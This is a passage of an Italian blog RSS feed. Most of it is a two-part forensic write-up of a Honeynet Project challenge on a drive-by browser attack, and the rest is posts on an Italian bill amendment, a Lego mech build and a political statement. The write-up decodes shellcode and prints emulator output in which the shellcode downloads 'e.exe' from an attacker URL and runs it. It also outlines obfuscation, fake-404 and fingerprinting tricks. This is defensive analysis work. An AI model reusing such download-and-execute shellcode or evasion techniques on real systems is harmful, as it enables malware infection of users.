import codecs
f = io.open('spreadsheet.bin','w',1,'utf-16')
a=u'\uC033\u8B64\u3040....' (output dal comando tr)
f.write(a)
f.close()
</code></pre>
<p>Il risultato è un file codificato in UTF, con in testa il BOM (<a href="http://it.wikipedia.org/wiki/UTF-16#Varianti_di_UTF-16">Byte Order Mark</a>), i due byte 0xFE e 0xFF, che a noi non servono, e quindi li tagliamo con il comando:</p>
<pre><code>$ dd if=aolwinamp.utf of=spreadsheet.bin bs=1 skip=2</code></pre>
<p><em>Et-voilà</em>, ora abbiamo lo <em>shellcode</em> in binario pulito. Come capire cosa faccia, è tutto un altro paio di maniche. Procedere al solo <em>disassembly</em> è inutile, in quanto quasi certamente verranno chiamate funzioni proprie del sistema operativo, che in assembler sono delle semplici &#8220;call&#8221; con un indirizzo fisico, totalmente inintelligibili. Viene in aiuto un programma, creato dagli stessi del progetto Honeynet, chiamato <a href="http://libemu.carnivore.it/">libemu</a>.<br />
Occorre scaricarlo e compilare gli esempi, fra cui c&#8217;è <strong>sctest</strong>, che &#8220;esegue&#8221; lo <em>shellcode</em> tracciandone le azioni e le funzioni di sistema chiamate, oltre alle eventuali librerie utilizzate.<br />
Fin qui niente di strano, se non fosse che lo <em>shellcode</em> in esame contiene una chiamata ad una funzione di sistema che non è compresa fra quelle emulate, <strong>GetTempPathA</strong>, quindi libemu esce con un messaggio di errore, dato che non ha idea di come &#8220;emulare&#8221; questa funzione. Una ricerca sul sito Microsoft dedicato agli sviluppatori e si trova la definizione della funzione, con i parametri in ingresso ed il valore di ritorno atteso. Poi occorre mettere mano al sorgente di libemu per creare un &#8220;hook&#8221; alla funzione mancante. Basta copiare il codice di una simile, cambiando opportunamente i parametri ed il valore di ritorno, poi modificare i vari header per includere la funzione fra quelle conosciute. Ricompilare (correggere gli inevitabili errori&#8230;) e riprovare. Ecco l&#8217;output:</p>
<pre><code>$ /opt/libemu/bin/sctest -Svgs 1000000 &lt; spreadsheet.bin
verbose = 1
success offset = 0x00000000
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(0)
stepcount 295995
UINT GetTempPath (
     LPTSTR lpBuffer = 0x0012fe18 =&gt;
         none;
     UINT uSize = 136;
) = 19;
HMODULE LoadLibraryA (
     LPCTSTR lpFileName = 0x0012fe04 =&gt;
           = "urlmon.dll";
) = 0x7df20000;
HRESULT URLDownloadToFile (
     LPUNKNOWN pCaller = 0x00000000 =&gt;
         none;
     LPCTSTR szURL = 0x004170e0 =&gt;
           = "http://sploitme.com.cn/fg/load.php?e=8leCursorInfo";
     LPCTSTR szFileName = 0x0012fe18 =&gt;
           = "e.exe";
     DWORD dwReserved = 0;
     LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
     LPCSTR lpCmdLine = 0x0012fe18 =&gt;
           = "e.exe";
     UINT uCmdShow = 0;
) = 32;
void ExitThread (
     DWORD dwExitCode = 0;
) = 0;
</code></pre>
<p>Tradotto: viene scaricato un file, chiamato poi &#8220;e.exe&#8221;, dall&#8217;URL <strong>http://sploitme.com.cn/fg/load.php?e=8</strong>, e mandato in esecuzione.<br />
Nell&#8217;attuale versione di <strong>libemu</strong> non è più necessario fare tutta la trafila, la chiamata di sistema è già correttamente emulata. </p>
<p>La decima domanda chiedeva se vi fosse coinvolto un malware e quale ne fosse lo scopo. In cinque occasioni viene scaricato un file eseguibile, identico in tutte le istanze, che non viene identificato da nessun antivirus come pericoloso. Eseguito in una macchina virtuale risulta in un errore di tipo Access Violation (0xc0000005), ed anche disabilitando la &#8220;Executable Prevention Protection&#8221; non si ottiene nulla.<br />
Usando il comando strings sull&#8217;eseguibile si trovano tre stringhe significative, una delle quali è il path completo per lanciare Internet Explorer, nella versione inglese di Windows però, visto che il path è cablato nell&#8217;eseguibile e usa la directory &#8220;Program Files&#8221;.<br />
L&#8217;azione dell&#8217;eseguibile è probabilmente lanciare Internet Explorer e puntarlo ad un sito particolare, nel caso in esame verso il sito del progetto Honeynet. </p>
<p>Ed eccoci alla domanda bonus, che era offuscata usando una semplice codifica Base64. Una volta decodificata, la domanda verte sulla timeline, ossia sulla collocazione temporale degli eventi registrati. In pratica, mentre la cattura appare iniziata il primo di gennaio 2010 all&#8217;una di notte, all&#8217;interno di alcuni protocolli vi sono riferimenti temporali che riportano una data differente, il 2 febbraio 2010 alle ore 19.<br />
La spiegazione più semplice è che sia stata modificata la data di inizio, e che la cattura sia avvenuta in diretta, come mostrano alcune indicazioni riguardo pause nell&#8217;elaborazione e la concordanza in tutti i pacchetti che riportano una collocazione temporale insita nel protocollo stesso (HTTP ad esempio).<br />
Questo conclude l&#8217;analisi. </p>
<h4>Cosa si può imparare da questa sfida</h4>
<p>Personalmente, conoscevo già alcune delle tecniche utilizzate e necessarie per risolvere l&#8217;enigma, ma molte altre mi erano sconosciute e le ho dovute acquisire. L&#8217;uso di <strong>libemu</strong>, l&#8217;uso di UTF e del BOM, le funzioni di Python per la codifica UTF, per citarne qualcuna.<br />
Naturalmente, il poter risolvere la sfida richiedeva competenze in vari campi: protocolli di rete, linguaggi di programmazione, programmazione sicura, tecniche di sfruttamento delle falle di sicurezza, conoscenza di HTML/CSS e del <a href="http://it.wikipedia.org/wiki/Document_Object_Model">DOM</a>. Senza queste è impossibile venirne a capo, ed è inutile provarci. </p>
<p>E&#8217; importante capire che non è l&#8217;uso degli strumenti, ad essere importante, ma il contesto e lo scopo per cui si utilizzano. Usare <strong>libemu</strong> è abbastanza banale, ma capire quando usarlo e interpretarne i risultati non è insito nel funzionamento dello strumento, ma spetta all&#8217;utilizzatore, cioè a noi. Non è la racchetta che fa il tennista.</p>
<p>Chiudiamo qui. A breve la soluzione della sfida successiva, molto più impegnativa, almeno per me.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2010/06/honeynet-project-challenge-22010-iii-e-ultima-parte/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Come si fanno le leggi: un esempio.</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/06/come-si-fanno-le-leggi-un-esempio/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2010/06/come-si-fanno-le-leggi-un-esempio/#comments</comments>
		<pubDate>Tue, 08 Jun 2010 13:19:54 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Fuori tema]]></category>
		<category><![CDATA[Pensieri sparsi]]></category>
		<category><![CDATA[leggi]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=955</guid>
		<description><![CDATA[NB: questo articolo contiene delle fesserie, di cui mi assumo la responsabilità per la incauta pubblicazione. Una spiegazione (non una giustificazione) è qui. NB2: nel testo approvato dal senato e ora in attesa dell&#8217;approvazione definitiva alla camera, l&#8217;intero articolo è tornato nella forma originale, vedi: OpenParlamento e Senato. Ora lo sforzo comune deve essere quello [...]]]></description>
			<content:encoded><![CDATA[<hr />
<h5>NB: questo articolo contiene delle fesserie, di cui mi assumo la responsabilità per la incauta pubblicazione. <a href="http://www.ismprofessional.net/pascucci/index.php/2010/06/la-responsabilita-di-chi-scrive/">Una spiegazione (non una giustificazione) è qui</a>.</h5>
<hr />
<h5>NB2: nel testo approvato dal senato e ora in attesa dell&#8217;approvazione definitiva alla camera, l&#8217;intero articolo è tornato nella forma originale, vedi: <a href="http://parlamento.openpolis.it/singolo_atto/54955">OpenParlamento</a> e <a href="http://www.senato.it/leg/16/BGT/Schede/Ddliter/35538.htm">Senato</a>. <strong>Ora lo sforzo comune deve essere quello di riconoscere che l&#8217;intero disegno di legge è non solo di dubbia efficacia, ma rappresenta una fortissima limitazione alla possibilità di trovare e punire i criminali.</strong> Un esame completo fatto da un giurista si trova qui: <a href="http://espresso.repubblica.it/dettaglio/questo-e-il-bavaglio:-vi-piace/2128998">DDL &#8220;intercettazioni&#8221; spiegato e commentato da Guido Scorza</a>. Detto questo, i commenti vengono chiusi.</h5>
<p>Non sono certo un legale, né uno &#8220;del campo&#8221;, ma qualche volta occorre saper leggere le leggi, per capire chi ha ragione. </p>
<p>Prendo spunto dall&#8217;allarme per il cosiddetto &#8220;emendamento 1707&#8243; al Disegno di legge sulle intercettazioni, <a href="http://parlamento.openpolis.it/singolo_atto/38631">il numero 1611</a>, il cui testo potete trovare su <a href="http://www.openpolis.it/">OpenPolis</a>. </p>
<p>Il testo dell&#8217;emendamento è il seguente (fonte, il sito del <a href="http://www.senato.it/japp/bgt/showdoc/frame.jsp?tipodoc=Emendc&#038;leg=16&#038;id=483608&#038;idoggetto=532211">Senato</a>, o <a href="http://parlamento.openpolis.it/emendamento/130927">OpenPolis</a>, se quello del Senato viene tolto):</p>
<blockquote><p>Al comma 22, dopo le parole: «dall&#8217;articolo 609-quater» inserire le seguenti: «, escluso il caso previsto dal quarto comma».</p></blockquote>
<p>Criptico è dir poco. Per prima cosa prendiamo il comma 22 del disegno di legge. Attenzione che il testo a cui applicare l&#8217;emendamento non è quello originale, ma <a href="http://parlamento.openpolis.it/atto/documento/id/45238">quello presentato in Senato dopo il passaggio in Commissione Giustizia</a>, che recita:</p>
<blockquote><p><strong>22.</strong>All’  articolo 380, comma 2, del codice di procedura penale  , la lettera  d-bis)  è sostituita dalla seguente:  «  d-bis)  delitto di violenza sessuale previsto dall’articolo 609-  bis  , escluso il caso previsto dal terzo comma, delitto di atti sessuali con minorenne previsto dall’articolo 609-  quater  e delitto di violenza sessuale di gruppo previsto dall’  articolo 609-  octies  del codice penale  ».</p></blockquote>
<p>Quindi l&#8217;emendamento modifica questo comma. Vediamo di fare il collage. L&#8217;articolo 380 del Codice di Procedura Penale tratta di <strong>Arresto obbligatorio in flagranza</strong>, ossia i casi in cui l&#8217;arresto di chi sta commettendo un reato <em>in quel momento</em> <strong>è obbligatorio e immediato</strong>, senza se e senza ma. Il comma 2 lettera d-bis) originale (fonte: <a href="http://dbase.ipzs.it/cgi-free/db2www/notai/arti.mac/TESTO?datagu=10/24/1988&#038;redaz=088G0492&#038;nprv=&#038;subart=1&#038;nart=&#038;ggprv=&#038;mmprv=&#038;aaprv=&#038;tipo=&#038;progr=0&#038;emett=&#038;mat=&#038;swpag=12B&#038;gruppo=53&#038;rc_count=1&#038;maxrec=&#038;danumrec=&#038;attinorm=&#038;pubbldal=&#038;dataagg=&#038;tit=&#038;sw1=0&#038;wart=380&#038;vers=11&#038;testo=&#038;cntart=746&#038;allmax=&#038;cntall=0&#038;allmin=&#038;num_art=380">Ispolitel</a>) recita:</p>
<blockquote><p>d-bis)   delitto  di  violenza  sessuale  previsto  dall&#8217;articolo 609-bis,  escluso  il  caso  previsto  dal  terzo comma, e delitto di violenza sessuale di gruppo previsto dall&#8217;articolo 609-octies del codice penale.</p></blockquote>
<p>e viene cambiato in:</p>
<blockquote><p>d-bis)  delitto di violenza sessuale previsto dall’articolo 609-  bis  , escluso il caso previsto dal terzo comma, <strong>delitto di atti sessuali con minorenne previsto dall’articolo 609-  quater</strong>  e delitto di violenza sessuale di gruppo previsto dall’  articolo 609-  octies  del codice penale</p></blockquote>
<p>dalla commissione Giustizia. Poi arriva l&#8217;emendamento 1.707, che lo trasforma in:</p>
<blockquote><p>d-bis)  delitto di violenza sessuale previsto dall’articolo 609-  bis  , escluso il caso previsto dal terzo comma, delitto di atti sessuali con minorenne previsto dall’articolo 609-  quater<strong>, escluso il caso previsto dal quarto comma</strong>  e delitto di violenza sessuale di gruppo previsto dall’  articolo 609-  octies  del codice penale</p></blockquote>
<p>Qual è l&#8217;effetto finale? L&#8217;articolo 380 del codice di Procedura Penale stabilisce appunto in quali casi l&#8217;arresto <strong>deve</strong> essere fatto, ossia è obbligatorio. I casi elencati alla lettera d-bis) sono:</p>
<ul>
<li>art.609 bis &#8211; Violenza sessuale compiuta con minaccia, violenza o abuso di autorità, tranne i casi di minore gravità</li>
<li>art.609 quater &#8211; Atti sessuali con minorenne. Punisce qualsiasi atto sessuale <strong>compiuto con un minorenne</strong>, indipendentemente dalla presenza di violenza o meno.</li>
<li>art.609 octies &#8211; Violenza sessuale di gruppo.</li>
</ul>
<p>L&#8217;emendamento 1.707 introduce l&#8217;esclusione per &#8220;i casi di minore gravità&#8221; anche per gli atti sessuali compiuti sui minorenni.<br />
In pratica, prima in Commissione Giustizia introducono (giustamente, lo aggiungo io) l&#8217;arresto in flagranza per i pedofili, senza eccezioni e senza alternative, poi l&#8217;emendamento 1.707 equipara un atto sessuale &#8220;di minore gravità&#8221; su un minore alla situazione di una violenza sessuale &#8220;di minore gravità&#8221; su un adulto.</p>
<p>Ecco. Prima ci dovrebbero spiegare che c&#8217;entra questa modifica in un disegno di legge sulle intercettazioni, poi dovrebbero spiegare agli agenti che trovano un adulto che compie atti sessuali su un minorenne in quali casi possano arrestarlo. </p>
<p>Quello che non tutti sanno, e che molti tacciono, è che la decisione sulla gravità non è <em>né dell&#8217;agente</em>, <em>né del magistrato</em> a cui viene assegnato il caso. Occorre che <em>prima</em> succedano i fatti, ossia qualcuno sia (o non sia) arrestato in un frangente di questo tipo, poi la Corte di Cassazione, su apposito ricorso, stilerà una &#8220;classifica&#8221; delle gravità, lavorando alla valutazione <strong>caso per caso</strong>. </p>
<p>Traete da soli le conclusioni. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2010/06/come-si-fanno-le-leggi-un-esempio/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Un guerriero d&#8217;acciaio (in Lego)</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/06/un-guerriero-dacciaio-in-lego/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2010/06/un-guerriero-dacciaio-in-lego/#comments</comments>
		<pubDate>Sat, 05 Jun 2010 03:00:43 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[LEGO]]></category>
		<category><![CDATA[Lego Digital Designer]]></category>
		<category><![CDATA[mech]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=918</guid>
		<description><![CDATA[Ho unito una passione, quella per la Lego, con quella per i videogame della serie Mechwarrior, e mi sono ingegnato a costruire un mech, cioè, per chi non è addentro, un guerriero meccanico. Nell&#8217;ambientazione dei giochi di questo tipo, nel futuro, i mezzi corazzati sono sostituiti o affiancati da giganti d&#8217;acciaio, armati fino ai denti, [...]]]></description>
			<content:encoded><![CDATA[<p>Ho unito una passione, quella per la Lego, con quella per i videogame della serie Mechwarrior, e mi sono ingegnato a costruire un mech, cioè, per chi non è addentro, un guerriero meccanico. Nell&#8217;ambientazione dei giochi di questo tipo, nel futuro, i mezzi corazzati sono sostituiti o affiancati da giganti d&#8217;acciaio, armati fino ai denti, guidati da un essere umano che è sistemato in una cabina all&#8217;interno. </p>
<p>A parte l&#8217;ingenuità di non aver previsto cose come i <a href="http://en.wikipedia.org/wiki/MQ-1_Predator">Predator</a>, quindi nessun guidatore a bordo, si tratta in fondo di una versione tecnologica e futuribile dei robot giapponesi. </p>
<p>Ecco il risultato, un po&#8217; goffo nel complesso. </p>
<div id="attachment_919" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ismprofessional.net/pascucci/wp-content/uploads/img_2303.jpg"><img src="http://www.ismprofessional.net/pascucci/wp-content/uploads/img_2303-300x200.jpg" alt="Il primo Mech" title="Il primo Mech" width="300" height="200" class="size-medium wp-image-919" /></a><p class="wp-caption-text">Un mech un po' spigoloso e troppo colorato</p></div>
<p>Qualche altro dettaglio nelle foto seguenti.</p>
<div id="attachment_929" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ismprofessional.net/pascucci/wp-content/uploads/img_2305.jpg"><img src="http://www.ismprofessional.net/pascucci/wp-content/uploads/img_2305-300x200.jpg" alt="" title="Vista ravvicinata" width="300" height="200" class="size-medium wp-image-929" /></a><p class="wp-caption-text">Vista ravvicinata</p></div>
<div id="attachment_930" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ismprofessional.net/pascucci/wp-content/uploads/img_2306.jpg"><img src="http://www.ismprofessional.net/pascucci/wp-content/uploads/img_2306-300x200.jpg" alt="" title="Dettaglio del posto di guida" width="300" height="200" class="size-medium wp-image-930" /></a><p class="wp-caption-text">Dettaglio del posto di guida</p></div>
<p>Quello che mi ha portato via più tempo è lo studio delle gambe: dovevano essere abbastanza mobili e flessibili da permettere varie configurazioni e posizioni, ma con abbastanza rigidità da sopportare il peso del robot nel suo complesso. La prima versione, costruita usando parti della serie Technic, con i soli perni di snodo ad attrito (quelli neri cilindrici, per capirci), non si teneva in piedi: le gambe erano anche appropriate e <em>high-tech</em> a vedersi, ma non reggevano il peso, anche se ridotto al minimo.</p>
<div id="attachment_921" class="wp-caption aligncenter" style="width: 325px"><img src="http://www.ismprofessional.net/pascucci/wp-content/uploads/LDDScreenShot1.png" alt="" title="I tre tipi principali di perno" width="315" height="156" class="size-full wp-image-921" /><p class="wp-caption-text">I tre tipi principali di perno, da sinistra: a frizione, libero, fisso con frizione</p></div>
<p>Dopo qualche altro tentativo infruttuoso, usando vari tipi di perni e snodi, ho cambiato completamente strada, affidandomi ad un sistema molto simile ai pistoni idraulici. Nella foto qui sotto un particolare delle gambe.</p>
<div id="attachment_922" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ismprofessional.net/pascucci/wp-content/uploads/img_2313.jpg"><img src="http://www.ismprofessional.net/pascucci/wp-content/uploads/img_2313-300x200.jpg" alt="" title="Particolare delle gambe" width="300" height="200" class="size-medium wp-image-922" /></a><p class="wp-caption-text">Particolare delle gambe. Si notano gli snodi con gli assi usati a mo' di pistone idraulico</p></div>
<p>Qui sotto un dettaglio costruttivo della gamba, fatto col <a href="http://ldd.lego.com/">Lego Digital Designer</a> (gratuito, disponibile per Windows e Mac, in Linux &#8220;funzionicchia&#8221; con Wine &gt; 1.1.34).</p>
<div id="attachment_925" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ismprofessional.net/pascucci/wp-content/uploads/gamba-robot.png"><img src="http://www.ismprofessional.net/pascucci/wp-content/uploads/gamba-robot-300x243.png" alt="" title="Dettaglio della gamba" width="300" height="243" class="size-medium wp-image-925" /></a><p class="wp-caption-text">Dettaglio della gamba disegnata col Lego Digital Designer</p></div>
<p>I due pezzi in rosso non sono proprio gli stessi che ho usato io, che erano con solo due fori, uno tondo ed uno a croce, angolati di 90&deg; fra loro, ma vanno bene lo stesso. Altra differenza rispetto alla foto è la posizione di un elemento del &#8220;piede&#8221;, spostato in avanti di una posizione, per renderlo un po&#8217; più stabile.</p>
<p>Per i malati (gravi) come me, allego <a href='http://www.ismprofessional.net/pascucci/wp-content/uploads/mech-1.lxf_.zip'>il file del Lego Digital Designer per la versione 3.x (file ZIP)</a> dove c&#8217;è il progetto della gamba, con tutto il necessario per costruirla. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2010/06/un-guerriero-dacciaio-in-lego/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Nota bene &#8211; Please note</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/06/nota-bene-please-note/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2010/06/nota-bene-please-note/#comments</comments>
		<pubDate>Tue, 01 Jun 2010 08:50:28 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Fuori tema]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=952</guid>
		<description><![CDATA[Come cittadino italiano non mi ritengo in alcun modo rappresentato da nessun personaggio del mondo politico e culturale italiano. Da questo momento nessun individuo, organizzazione o ente ha il diritto di rappresentarmi, in alcun modo ed in nessun contesto. As italian citizen, I do not consider myself in any way represented by any member of [...]]]></description>
			<content:encoded><![CDATA[<p>Come cittadino italiano non mi ritengo in alcun modo rappresentato da nessun personaggio del mondo politico e culturale italiano. Da questo momento nessun individuo, organizzazione o ente ha il diritto di rappresentarmi, in alcun modo ed in nessun contesto. </p>
<p>As italian citizen, I do not consider myself in any way represented by any member of the Italian political and cultural world.<br />
From this point no individual, organization or institution has the right to represent me in any way and in any context.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2010/06/nota-bene-please-note/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Honeynet Project: Challenge 2/2010 (II parte)</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/05/honeynet-project-challenge-22010-ii-parte/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2010/05/honeynet-project-challenge-22010-ii-parte/#comments</comments>
		<pubDate>Thu, 27 May 2010 03:00:50 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Giochi e sfide "numeriche"]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[Honeynet project]]></category>
		<category><![CDATA[sfide]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=904</guid>
		<description><![CDATA[Come promesso, eccoci alla seconda parte della soluzione per la sfida Browser Under Attack del progetto Honeynet (la I parte è qui). La quarta domanda chiedeva di tracciare un quadro generale delle operazioni svolte dagli attaccanti. Naturalmente, qui siamo in presenza di una simulazione, nel mondo reale le cose sarebbero andate in questo modo, più [...]]]></description>
			<content:encoded><![CDATA[<p>Come promesso, eccoci alla seconda parte della soluzione per la sfida <a href="http://www.honeynet.org/challenges/2010_2_browsers_under_attack">Browser Under Attack</a> del <a href="http://www.honeynet.org/">progetto Honeynet</a> (<a href="http://www.ismprofessional.net/pascucci/index.php/2010/05/honeynet-project-challenge-22010-i-parte/">la I parte è qui</a>).</p>
<p>La quarta domanda chiedeva di tracciare un quadro generale delle operazioni svolte dagli attaccanti. Naturalmente, qui siamo in presenza di una simulazione, nel mondo reale le cose sarebbero andate in questo modo, più o meno:</p>
<ul>
<li>Usando varie tecniche (XSS, RFI, ecc.) gli attaccanti iniettano il codice Javascript in alcuni siti web vulnerabili. Il codice è profondamente offuscato, e lavora in modo nascosto e silenzioso, usando tag IFRAME e applicando stili CSS specifici per nascondere la propria presenza, oltre alle modifiche nelle pagine web attaccate.</li>
<li>Quando un visitatore arriva sulla pagina con il codice nascosto, il browser viene &#8220;dirottato&#8221; verso un server (sploitme.com.cc) che contiene codice attivo di analisi e di attacco. Per prima cosa il browser viene indirizzato con un apposito header HTTP di tipo <strong>302 Found</strong> verso una pagina di errore</li>
<li>La pagina di errore è in realtà una trappola, ed è falsa, tanto che che l&#8217;analisi dei pacchetti di risposta dal server mostra un codice HTTP di risultato del tipo <strong>200 OK</strong>, mentre la pagina simula un errore di tipo <strong>404 Not Found</strong> (vedi pacchetti #63,174,366). Questa pagina, lato server, contiene in realtà un codice di analisi che controlla il tipo di browser. </li>
<li>In funzione del risultato dell&#8217;analisi (nel seguito se ne vedrà il tipo e lo scopo), nella falsa pagina 404 viene emesso un altro pezzo di codice Javascript, anche questo profondamente offuscato, che tenta di sfruttare varie falle nel browser per eseguire codice arbitrario.</li>
<li>Vi sono indizi (vedi pacchetti da #299 a #366) che il codice lato server sia in grado di capire da quale nazione giunga il visitatore, attraverso uno dei tanti servizi di geolocalizzazione, per escludere i visitatori da una certa nazione, o per includere solo quelli provenienti da una nazione, dall&#8217;essere colpiti. La prova viene dalla cattura stessa, dove viene visitato il sito principale di Google, www.google.com, che come sappiamo inoltra i visitatori verso i server di Google della nazione di provenienza: il browser viene inoltrato verso www.google.fr, ossia Google in francese. La visita immediatamente successiva fatta dallo stesso browser ad uno dei siti violati simulati (Il finto RapidShare) porta alla fine ad una falsa pagina 404 sul sito attaccante (sploitme.com.cn) che non contiene alcun codice Javascript (vedi pacchetto #366).</li>
</ul>
<p>La quinta domanda chiede di elencare le contromisure prese per rallentare l&#8217;analisi. Naturalmente, ogni criminale informatico che si rispetti sa che le tracce del suo passaggio sono evidenti ad un occhio esperto, mentre un occhio meno esperto può essere ingannato per un tempo più o meno variabile. Dato che lo scopo è di colpire più utenti possibile, e di rallentare l&#8217;individuazione del malware per poter fare più danni possibile, normalmente sono prese alcune contromisure, abbastanza tipiche:</p>
<ul>
<li>Il codice iniettato è sempre offuscato, e qualche volta camuffato da altro, per cui facilmente passa inosservato, anche al webmaster più attento.</li>
<li>L&#8217;attacco viene portato senza aprire altre finestre o popup, per cui sembra provenire dal sito violato, non dal sito chiamato dal codice Javascript dentro i tag IFRAME.</li>
<li>L&#8217;attacco è portato appunto da un sito differente, che non compare mai nel codice, ma solo nel Javascript offuscato, per cui è impossibile saperlo senza svelare il codice stesso.</li>
<li>Anche svelando il codice Javascript offuscato e ricavando il nome del sito attaccante, ci si trova davanti ad una pagina 404 (falsa ma efficace).</li>
<li>Il codice Javascript che tenta di eseguire codice arbitrario sfruttando falle note è codificato usando la notazione Unicode con una <em>escape sequence</em> esadecimale (&#37;u1234), e non è banale da decodificare.</li>
</ul>
<p>Inoltre, data la presenza di un codice che analizza il tipo di browser che visita la pagina aggressiva, si può ipotizzare che ai visitatori che si presentano con browser e/o sistemi operativi alternativi (come molti professionisti nel campo della sicurezza) venga mostrata una pagina con codice inoffensivo.</p>
<p>La sesta domanda chiede di presentare il codice Javascript identificato nelle precedenti risposte, e di svelarlo, se offuscato. Non riporto per intero il codice, anche perché sarebbe lungo e difficile da comprendere (è riportato per intero nella mia soluzione, pubblicata nella pagina del sito Honeynet relativa alla sfida).<br />
Vale la pena però di fare alcune considerazioni. In tutti i casi il codice Javascript è offuscato, ed in un caso l&#8217;offuscamento è annidato, ossia il codice originale è offuscato una prima volta usando la funzione Javascript escape(), ed il risultato è offuscato di nuovo usando una funzione scritta appositamente. Il metodo di offuscamento usato in tutte le false pagine 404 è identico, quello che cambia è il codice Javascript risultante.<br />
Altra cosa da notare è che in presenza del browser Firefox il codice emesso è inoffensivo.</p>
<p>La domanda successiva chiede quale possa essere la funzione della variabile &#8220;s&#8221; negli URL.<br />
Il valore della variabile è fissato nel codice Javascript iniettato nei siti violati, ed è differente da un sito all&#8217;altro. Il valore viene mantenuto nei vari reindirizzamenti, per cui lo scopo non è quello di selezionare l&#8217;attacco, cosa che invece è decisa in base al browser o alla geolocalizzazione. Lo scopo, verosimilmente, è quello dell&#8217;affiliazione, ossia decidere a chi appartiene il computer dell&#8217;ignaro visitatore ad uno dei siti violati, attaccata e conquistata da un malware. Dato che il server che distribuisce il malware è unico, con questo modo si individua l&#8217;appartenenza ad un circuito botnet differente. Se il sito A è violato da Mario, ed il sito B è violato da Carlo, tutti e due i siti reindirizzano verso il server attaccante, ma ognuno con un codice di affiliazione differente, permettendo di distinguere a chi assegnare il computer colpito.</p>
<p>L&#8217;ottava domanda chiede quale sistema operativo e quale browser siano i bersagli scelti per l&#8217;attacco, quali vulnerabilità siano colpite e se sia possibile prevenire l&#8217;attacco stesso.<br />
La riposta è piuttosto articolata, ed in breve può essere riassunta così: il bersaglio è Windows XP con Service Pack 2 o precedenti, il browser è Internet Explorer 6, di cui vengono attaccati parecchi componenti ActiveX, sia nativi che forniti da altre applicazioni. Alcune vulnerabilità sono state scoperte nel 2005, mentre altre sono molto recenti, risalendo a fine 2009.<br />
L&#8217;unica prevenzione è aggiornare sistema operativo, browser e applicazioni. Naturalmente (questo non l&#8217;ho scritto nella soluzione presentata), usando un account non amministrativo per navigare, pur rimanendo colpiti dal malware, in molti dei casi esposti sopra questo non può fare danni, in quanto non ha i privilegi amministrativi, essendo eseguito con i privilegi di Internet Explorer, quindi di un utente &#8220;limitato&#8221;. Visto che nessuno usa questa strategia, chi sfrutta queste vulnerabilità ha la <strong>certezza</strong> di colpire praticamente chiunque gli venga a tiro.</p>
<p>Chiudiamo qui. La prossima e ultima parte sarà piuttosto corposa, visto che riguarderà l&#8217;analisi degli shellcode. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2010/05/honeynet-project-challenge-22010-ii-parte/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
